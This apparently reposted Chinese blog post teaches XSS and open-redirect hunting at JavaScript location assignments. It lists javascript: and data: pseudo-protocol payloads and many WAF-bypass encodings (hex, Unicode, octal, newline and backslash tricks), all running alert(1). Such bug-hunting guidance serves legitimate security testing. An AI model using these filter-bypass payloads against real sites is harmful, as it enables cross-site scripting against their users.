漏洞挖掘技巧之利用javascript:

桃扇骨 2023-06-03 05:53 151阅读 0赞

好久没更新博客了，更新一波。

场景:

window.location.href=””  
　　location=””  
　　location.href=””  
　　window.location.\*

常见地点:任何二次跳转处  
可能存在问题的参数:\*\_url ,url\_\*,url

危害:跳转和xss

首选xss  
最简单的:  
伪协议 ,以location为例子  
location=”javascript:alert(1) ”  
location=”javascript:alert(1) ”

利用伪协议2:  
location=”data:html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg”  
base64编码可以不要==

漏洞挖掘发现每次都过滤javascript:(这里不探讨过滤了alert怎么绕过。)  
一系列绕过思路:  
\\x JS十六进制  
javascript: -> \\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3a  
location="\\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3aalert(1)"

![1090320-20190827094642261-1778452353.png][]

\\u Unicode编码  
javascript:-> \\u006A\\u0061\\u0076\\u0061\\u0073\\u0063\\u0072\\u0069\\u0070\\u0074\\u003a

![1090320-20190827094719240-1630278333.png][]

如果waf拦截了\\x \\u怎么绕过?  
方法:换行攻击  
\\+换行\[%0a\]  
java\\%0ascript

![1090320-20190827094742872-1702952389.png][]

%0a可以替换成%0d或者是%09

如果waf拦截了\\x \\u ,并且还拦截%0x怎么绕过?

方法: \\r \\n \\t  
随机插入  
location="j\\rava\\nscript:\\talert(1)"

![1090320-20190827094807454-440215811.png][]

多加几个\\r\\n\\t没关系  
location="j\\rava\\nscri\\np\\rt:\\talert(1)"

![1090320-20190827094823222-1330772327.png][]

如果waf拦截\\x \\u %0x，并且还过滤\\r\\n\\t怎么绕过？  
方法1:JS 八进制  
javascript: -> \\152\\141\\166\\141\\163\\143\\162\\151\\160\\164\\072  
利用:  
location="\\152\\141\\166\\141\\163\\143\\162\\151\\160\\164\\072alert(1)"

![1090320-20190827094848385-1763567088.png][]

方法2:万能的斜杠\\  
\\j\\av\\a\\s\\cr\\i\\pt\\:\\a\\l\\ert\\(1\\)  
location="\\j\\av\\a\\s\\cr\\i\\pt\\:\\a\\l\\ert\\(1\\)"

![1090320-20190827094907294-1121918239.png][]

少加点\\也是可以的

![1090320-20190827094924239-786171155.png][]

排版有点差。。。我从doc文档复制过来的，将就看吧。

转载于:https://www.cnblogs.com/piaomiaohongchen/p/11416457.html

[1090320-20190827094642261-1778452353.png]: /images/20230601/8ecbf193bd5e45599d1993fd82207fa1.png
[1090320-20190827094719240-1630278333.png]: /images/20230601/886a56a9461041e6b033e932be42585b.png
[1090320-20190827094742872-1702952389.png]: /images/20230601/c1c895611cdd40b4b99392ca323121c6.png
[1090320-20190827094807454-440215811.png]: /images/20230601/52050b681d444b8192b4be06b46e02b3.png
[1090320-20190827094823222-1330772327.png]: /images/20230601/87351db432404bf094d6fb66140864a2.png
[1090320-20190827094848385-1763567088.png]: /images/20230601/c1101b0a52b44e4aab3011ee711dd7df.png
[1090320-20190827094907294-1121918239.png]: /images/20230601/7bbb97f5a67c4df99f0af41dd0318116.png
[1090320-20190827094924239-786171155.png]: /images/20230601/350244ff32da49e39b208de647cf5baf.png